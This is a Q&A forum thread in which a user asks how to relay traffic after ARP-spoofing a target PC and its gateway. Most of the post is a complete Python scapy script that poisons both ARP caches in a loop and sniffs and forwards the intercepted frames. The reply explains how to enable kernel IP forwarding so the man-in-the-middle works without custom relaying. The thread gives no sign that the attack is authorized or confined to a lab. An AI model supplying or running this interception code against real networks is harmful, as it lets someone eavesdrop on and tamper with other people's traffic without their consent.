2

I had done ARP spoofing successfully using scapy python code. The mac address in target's pc for gateway has been changed to my pc's mac address and mac adres of target pc in router's cache has been chnged to my mac addres. Now I want to forward these packets to respective location though my pc. So that I can see traffic between target pc and gateway.But it's not working.

    import os
import sys
import threading
import signal
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *


our_mac='d8:5d:e2:0c:58:87'


print 'Enter Target IP:'
target_ip = raw_input()

print 'Enter Gateway IP'
gateway_ip = raw_input()

packet_count = 50

# turn off output
conf.verb = 0


def get_mac(ip_address):
    responses,unanswered =srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
    # return the MAC address from a response
    for s,r in responses:
        return r[Ether].src
    return None


gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting."
    sys.exit(0)

else:
    print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)
if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip,target_mac)




def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    # slightly different method using send
    print"[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100)
    # signals the main thread to exit
    print"[*] Target Restored..."
    sys.exit(0)
    os.kill(os.getpid(), signal.SIGINT)



def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac
    print "[*] Beginning the ARP poison. [CTRL-C to stop]"
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
            sys.exit(0)
    print "[*] ARP poison attack finished."
    sys.exit(0)
    return

def send_packet_to_gateway(pkt):
    try:
        if(pkt.haslayer(IP) and pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=gateway_mac
            sendp(pkt)
        elif(pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=gateway_mac
            sendp(pkt)
    except:
        print "It's interrupt"
        sys.exit(0)


def send_packet_to_target(pkt):
    try:
        if(pkt.haslayer(IP) and pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=target_mac
            sendp(pkt)
        elif(pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=target_mac
            sendp(pkt)
    except:
        print "It's interrupt"
        sys.exit(0)


def capture_packets():
    try:
        print "[*] Starting sniffer for %d packets" % packet_count

        bpf_filter = "dst host %s and ether dst %s" % (target_ip, our_mac)
        sniff(filter=bpf_filter,prn=send_packet_to_target)

    except KeyboardInterrupt:
        # restore the network
        #restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
        print "It's interrupt"
        sys.exit(0)
        return




# start poison thread
poison_thread = threading.Thread(target = poison_target, args =(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count
    capture_thread = threading.Thread(target = capture_packets)
    capture_thread.start()

    bpf_filter = "src host %s and ether dst %s" % (target_ip,our_mac)
    sniff(filter=bpf_filter,prn=send_packet_to_gateway)


except KeyboardInterrupt:
    sys.exit(0)
    # restore the network
    #restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    #sys.exit(0)

1 Answers1

0

You don't need to forward the packets with Scapy. You can enable ip forwarding and your system will automatically forward the packets. In linux you can ran the following command:

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Using this command you only need to run the poison from Scapy, not the redirections.

Martín Gómez
  • 338
  • 2
  • 9